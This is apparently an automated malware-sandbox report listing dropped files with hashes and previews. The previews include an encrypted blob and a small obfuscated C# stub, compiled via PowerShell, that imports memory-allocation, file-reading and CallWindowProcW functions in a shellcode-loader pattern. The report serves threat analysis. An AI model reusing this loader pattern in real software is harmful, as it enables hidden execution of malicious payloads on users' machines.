
                            C:\Users\user\AppData\Local\Temp\CSCF0319BB5C3414E72AB519E7A67BBFBFC.TMP

                            Download File
                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                            File Type:MSVC .res
                            Category:dropped
                            Size (bytes):652
                            Entropy (8bit):3.102602060802304
                            Encrypted:false
                            SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryCtjak7Ynqq3tsPN5Dlq5J:+RI+ycuZhN0xakS32PNnqX
                            MD5:4B615CCC4447D672FE1859E8364297C2
                            SHA1:8109B8E9BDF7EE9F06AED6DE3FBCD39105D86F11
                            SHA-256:9A02A83D27F40171E09271FD9F52A1C9CFDF2E02D1A1EDA59379932A2713F2F6
                            SHA-512:32997D1F1E886BC73A466F21075E59A5B4AC1199B900F5BE2DBF72135F322568F990AC2674D23594FA8911A518F5FC927338CAC0C75D86A85C5707D4D931B7D7
                            Malicious:false
                            Reputation:unknown
                            Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...t.m.4.3.w.o.r.v...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...t.m.4.3.w.o.r.v...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                            C:\Users\user\AppData\Local\Temp\Grund.dat

                            Download File
                            Process:C:\Windows\System32\wscript.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):26125
                            Entropy (8bit):7.472624330988916
                            Encrypted:false
                            SSDEEP:384:cxuV3hXPDcG+3WuXLo5u+M6gGWLD2x/VjDQes6JL+YYEJEiIo8tuc:cxuBhXbcpNl+M3LqtpQesKL+zoK/
                            MD5:2EC027F5AF868CCA83AD50C2E2604925
                            SHA1:61EA6D742EFE598567175352E6D39E7949CE3CDC
                            SHA-256:ECCF8BD7ACAFE87BE6FC4F5AE205D55475C631064C307B5BFCF4FFFED570299A
                            SHA-512:70D1B60BC9B57CFD1257C5E993FFB51C165CCD20B620A6FCF3EADC431C446AF06423555C36BE113754ACD08A4B9E940858C7804A84CE61D23E2CFAF3E1B852BF
                            Malicious:false
                            Reputation:unknown
                            Preview:......h.0.6.4$^R..4$8..Z.._1..4..6[q....9.u.W.........[q.E..A^=V.\.g.7.`.0/........'..-.C?&6..$..[...x*w.u..N._>........C...rRQd....#.m.=D.Q...F.....+.P.Ut...z...&kE..A^=V.\.g.7.`.0/........'..-.C?&6..$..[...x*w.u..N._>........C...rRQd....#.m.=D.Q...F.....+.P.Ut...z...&k....._........CY.S$u...7[q.6[q.6[q...5.C...U[qus.....lBS....H.C.._r[q.&..-.oUeG.f}...W.=.....x...6[.y.[q.....6[.D3.?...q...Q.6[..r[qu..p.6.......-.1F....Ub......`...7[q.c.q...mw{G..% ..X.q...Yw{G.....h.q....6[.#W[q.....6[.?e..M7[q.7..46[q.o;q...U.1..../U..#~]./U.F../U.....^sx.s.E.!.c.oU.r..}2..4...i.Zq..b.j.....}.....K.*J....6[./8R.u.cs.6.sh.J...]O....<R.......g...4[q.`.......6[.....}.....:.q.}...$..a[Yq.^....3O..-...Y....E.....oUS.Bz.B...^IMP..E...J..wU..\h}.......F.7..J..wU....}..J.0.......3.....~._}...H......6L..u...3..\ .6...*.6...6[.bt[qu.Is.6..be(..t6.9....V..>.../d...4[q...q.o.<.....n....\...d.......%...6[.y.[q..5.6.<.q....6[.y.Zq...mF.6._.&8.6.4.^..l..E.z.{..oU.!

                            C:\Users\user\AppData\Local\Temp\RESADA2.tmp

                            Download File
                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                            File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x47e, 9 symbols
                            Category:dropped
                            Size (bytes):1316
                            Entropy (8bit):3.9700036695171335
                            Encrypted:false
                            SSDEEP:24:HAS9Qh3RhHLhKPfeI+ycuZhNKl8akSjlRPNnq9Gd:6h3D1KPm1ulKl8a3jljq92
                            MD5:AE16F44AF1EC43161EED5BAE183D41FA
                            SHA1:885430D172B8533098F8F273F846CB5F440BF45E
                            SHA-256:18BD2DC6A856E1DAC8B4DCD9B31D6F0DA5684877A0649188C7B3C87432A943C1
                            SHA-512:ACCC2B4402126470222B5ADA9A0C1CE51B2C133DD3990A359DC99E69004A9C0973324A488155B57303E557C2D64B4981EADEAA3EA62FAC1661BBA216DB539617
                            Malicious:false
                            Reputation:unknown
                            Preview:L...H\.a~............debug$S........@...................@..B.rsrc$01........X.......$...........@..@.rsrc$02........P...................@..@........J....c:\Users\user\AppData\Local\Temp\CSCB8D22C72555343A48341CA7311A8A12.TMP........................ky...9............4.......C:\Users\user\AppData\Local\Temp\RESADA2.tmp.-.<...................'...Microsoft (R) CVTRES.Y.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe..............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...y.y.0.z.j.l.3.4...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.

                            C:\Users\user\AppData\Local\Temp\RESD568.tmp

                            Download File
                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                            File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x482, 9 symbols
                            Category:dropped
                            Size (bytes):1320
                            Entropy (8bit):3.972475652697549
                            Encrypted:false
                            SSDEEP:24:H2nW9rkXhHshKE2mfII+ycuZhN0xakS32PNnq9hgd:AWkxeK1mg1ul0xa33Kq9y
                            MD5:49297CF41EFFCE47C344B08866E9F1BD
                            SHA1:421DF45146B3DB830F3690CE5CCD70549D2E0C32
                            SHA-256:485E053014ACBEF851F70379D5E634E3FC6E951F76519B98EA8CAAC2E0EB3229
                            SHA-512:96952D7C8BC2CD0A707F116AEB0EC666CB93F1B014E38052D703371F9293952C0020EE51B89327CBDBDDC23E82E0E29AB73176E1B20897DE81AB483142DDCA1A
                            Malicious:false
                            Reputation:unknown
                            Preview:L....[.a.............debug$S........D...................@..B.rsrc$01........X.......(...........@..@.rsrc$02........P...2...............@..@........K....c:\Users\user\AppData\Local\Temp\CSCF0319BB5C3414E72AB519E7A67BBFBFC.TMP................Ka\.DG.r..Y.6B............4.......C:\Users\user\AppData\Local\Temp\RESD568.tmp.-.<...................'...Microsoft (R) CVTRES.\.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...t.m.4.3.w.o.r.v...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ey3l5zz.5em.ps1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_44sbwrlu.vpn.psm1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ansctxp0.z0a.ps1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5juvrhk.vf2.ps1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mdkzcoqz.qqx.ps1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n2mec0pm.ex3.psm1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nmioe5ck.e4k.psm1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s0eeuky2.wtr.psm1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sbqcuw3q.cze.psm1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yatvffab.mac.ps1

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:very short file (no magic)
                            Category:dropped
                            Size (bytes):1
                            Entropy (8bit):0.0
                            Encrypted:false
                            SSDEEP:3:U:U
                            MD5:C4CA4238A0B923820DCC509A6F75849B
                            SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                            SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                            SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                            Malicious:false
                            Reputation:unknown
                            Preview:1

                            C:\Users\user\AppData\Local\Temp\t20mycit.0.cs

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):734
                            Entropy (8bit):5.230452745628746
                            Encrypted:false
                            SSDEEP:12:V/DGrGWvLMtxjFavVtKMI+KhJVIAFCkWvgwQiP27xNMNe4UY:JoTvLMtdFadKXH7CkWq+kTMNe4B
                            MD5:6314FACBE2F665388A6B8F4B896DC466
                            SHA1:E2C28D0A6F2296F48C3CFB1E446CD6691BF1C252
                            SHA-256:CD7E99D32CB2B1D17DB5AA28CAB64BF5A54562C1D3B46C2E19C07B924DA350AF
                            SHA-512:F326A1EECD0E0F418607E688BD8466A65062E1615F5D8B82BF80A5474B10269BA95F465C3E6D6E78DE11DD7B17BF7D0441542FBE545E54DAB167544B620ABAB8
                            Malicious:false
                            Reputation:unknown
                            Preview:.using System;..using System.Runtime.InteropServices;..public static class Scriptere1..{..[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);..[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);..[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);..[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);..}

                            C:\Users\user\AppData\Local\Temp\t20mycit.cmdline

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
                            Category:dropped
                            Size (bytes):351
                            Entropy (8bit):5.234869777852696
                            Encrypted:false
                            SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2WXp+N23fAxzxs7+AEszIWXp+N23fAAx:p37Lvkmb6KHIxWZE8I8
                            MD5:CD847B5284CDDB272692B5D1D47C3459
                            SHA1:FA4316BDE37F448A93F44CB08607597536F3A85D
                            SHA-256:1A1CAF1E50C5B823027736DD27BFA694DDAF5D8FB4A81BC19B1E081BEA88A8B6
                            SHA-512:0B26F4AF067A2D849EBD46246B099699D9E633DEA8EFB04B89BE1CF1B00991E355311740CA1F5515411A0B8012B60F108E7BEBDCF630613EF2E83B4F768BE0B2
                            Malicious:false
                            Reputation:unknown
                            Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\t20mycit.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\t20mycit.0.cs"

                            C:\Users\user\AppData\Local\Temp\t20mycit.out

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
                            Category:dropped
                            Size (bytes):846
                            Entropy (8bit):5.311430301559461
                            Encrypted:false
                            SSDEEP:24:Aqd3ka6KHIGE8IpKaM5DqBVKVrdFAMBJTH:Aika6AIGE8IpKxDcVKdBJj
                            MD5:A4559742D2EC3AF78C5EECEC6A3B40B9
                            SHA1:15E0A3E691E705969C545FD86DDD31A48A89F57E
                            SHA-256:B8DB630A91E899C72EBBBED21F2BC95B3BC6CB7AA15739729DBBEBAD7C3273C5
                            SHA-512:5609F0D50110826ED5B7B17CDB9ABA3321DB3818D319A2F8357F07DEB6FE406DD3F9EDE55C01D6F2F6DB057C66AE35AFF2E21EE18D592F4A981195ACDEFF499F
                            Malicious:false
                            Reputation:unknown
                            Preview:.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\t20mycit.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\t20mycit.0.cs"......Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                            C:\Users\user\AppData\Local\Temp\tm43worv.0.cs

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):734
                            Entropy (8bit):5.230452745628746
                            Encrypted:false
                            SSDEEP:12:V/DGrGWvLMtxjFavVtKMI+KhJVIAFCkWvgwQiP27xNMNe4UY:JoTvLMtdFadKXH7CkWq+kTMNe4B
                            MD5:6314FACBE2F665388A6B8F4B896DC466
                            SHA1:E2C28D0A6F2296F48C3CFB1E446CD6691BF1C252
                            SHA-256:CD7E99D32CB2B1D17DB5AA28CAB64BF5A54562C1D3B46C2E19C07B924DA350AF
                            SHA-512:F326A1EECD0E0F418607E688BD8466A65062E1615F5D8B82BF80A5474B10269BA95F465C3E6D6E78DE11DD7B17BF7D0441542FBE545E54DAB167544B620ABAB8
                            Malicious:false
                            Reputation:unknown
                            Preview:.using System;..using System.Runtime.InteropServices;..public static class Scriptere1..{..[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);..[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);..[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);..[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);..}

                            C:\Users\user\AppData\Local\Temp\tm43worv.cmdline

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
                            Category:dropped
                            Size (bytes):351
                            Entropy (8bit):5.239590822803244
                            Encrypted:false
                            SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2WXp+N23fNSXzxs7+AEszIWXp+N23fNSmGA:p37Lvkmb6KHVsWZE8VvGA
                            MD5:11654963EF047BDF4202258E21F47249
                            SHA1:82658B3772E819CA9EDD56FD4D98CDD331C1EDC4
                            SHA-256:A579778FE788EE679AFCCE0811A469246A79B87005B3CFF434E0E1EEBE93187A
                            SHA-512:53513270106437DBD0DA197B481ED3BB97C1A1816E9F66E663BDACD9D89A89B1F127316AFDAADD7B99ECF0347E2C096883E302D98CD4519C17690E53642FF9C2
                            Malicious:false
                            Reputation:unknown
                            Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\tm43worv.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\tm43worv.0.cs"

                            C:\Users\user\AppData\Local\Temp\tm43worv.dll

                            Download File
                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                            Category:dropped
                            Size (bytes):3584
                            Entropy (8bit):3.203106967874409
                            Encrypted:false
                            SSDEEP:24:etGSnrp46UD48cF7Susu8dFkozE0BJz8VutkFi9sykWI+ycuZhN0xakS32PNnq:6KPDc8usu0NJwPFi9syH1ul0xa33Kq
                            MD5:4DBA98A8B20E7DEF07399B1F3B4178C3
                            SHA1:EF9FFD8C9D5B9697473FBDBA5236FAB73B38F537
                            SHA-256:283AB71A50C1B0F281C15AA7FB1948E715B63025806B8EF14D8577C08844FCBC
                            SHA-512:8DF02084E141F53B2276DE07197AE22C172A1FD71B00C746391A72501328195D343D8A56439A59D4865AFF466C64D61263245FD738E429ADAB4E08E6B32096A9
                            Malicious:false
                            Reputation:unknown
                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....[.a...........!................n%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text...t.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................P%......H.......P ..............................................................BSJB............v4.0.30319......l.......#~.. ...(...#Strings....H.......#US.P.......#GUID...`...l...#Blob...........G.........%3............................................................2.+.....d.....d.......................................... 9............ Q............ ].!.......... f.+.......v...........................................................................................................(.

                            C:\Users\user\AppData\Local\Temp\tm43worv.out

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
                            Category:modified
                            Size (bytes):849
                            Entropy (8bit):5.306381488328042
                            Encrypted:false
                            SSDEEP:24:KBqd3ka6KHHE8g1KaM5DqBVKVrdFAMBJTH:Uika6AHE8g1KxDcVKdBJj
                            MD5:E48144B120BC6ECB4E6982ACB5B8507D
                            SHA1:9DDC45A0FBFDCF8133ABB9D124C7176A6AF773FD
                            SHA-256:8B187D402EB2C6FC9FB65F9CAD1ADFD79F05BD8FD2DD3464D7D81817421FAAC3
                            SHA-512:9DB4B93063C4589232E4C0DA0C243B46B5A677A29FF35749DB0477879DC10AB63A5F14D3093FE66FF881DA5B5EAD37D7F09FA405F7F881540F327C442D4ED656
                            Malicious:false
                            Reputation:unknown
                            Preview:.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\tm43worv.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\tm43worv.0.cs"......Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                            C:\Users\user\AppData\Local\Temp\yy0zjl34.0.cs

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):734
                            Entropy (8bit):5.230452745628746
                            Encrypted:false
                            SSDEEP:12:V/DGrGWvLMtxjFavVtKMI+KhJVIAFCkWvgwQiP27xNMNe4UY:JoTvLMtdFadKXH7CkWq+kTMNe4B
                            MD5:6314FACBE2F665388A6B8F4B896DC466
                            SHA1:E2C28D0A6F2296F48C3CFB1E446CD6691BF1C252
                            SHA-256:CD7E99D32CB2B1D17DB5AA28CAB64BF5A54562C1D3B46C2E19C07B924DA350AF
                            SHA-512:F326A1EECD0E0F418607E688BD8466A65062E1615F5D8B82BF80A5474B10269BA95F465C3E6D6E78DE11DD7B17BF7D0441542FBE545E54DAB167544B620ABAB8
                            Malicious:false
                            Reputation:unknown
                            Preview:.using System;..using System.Runtime.InteropServices;..public static class Scriptere1..{..[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Scriptere6,ref Int32 Theoriser2,int AUTOACTIVE,ref Int32 Scriptere,int Lejni6,int Scriptere7);..[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Pseu4,uint linjer,int STRY,int Scriptere0,int SEERNE,int Pacificer7,int Advisens9);..[DllImport("kernel32.dll")]public static extern int ReadFile(int AUTOACTIVE0,uint AUTOACTIVE1,IntPtr AUTOACTIVE2,ref Int32 AUTOACTIVE3,int AUTOACTIVE4);..[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr AUTOACTIVE5,int AUTOACTIVE6,int AUTOACTIVE7,int AUTOACTIVE8,int AUTOACTIVE9);..}

                            C:\Users\user\AppData\Local\Temp\yy0zjl34.cmdline

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
                            Category:dropped
                            Size (bytes):351
                            Entropy (8bit):5.264314964255387
                            Encrypted:false
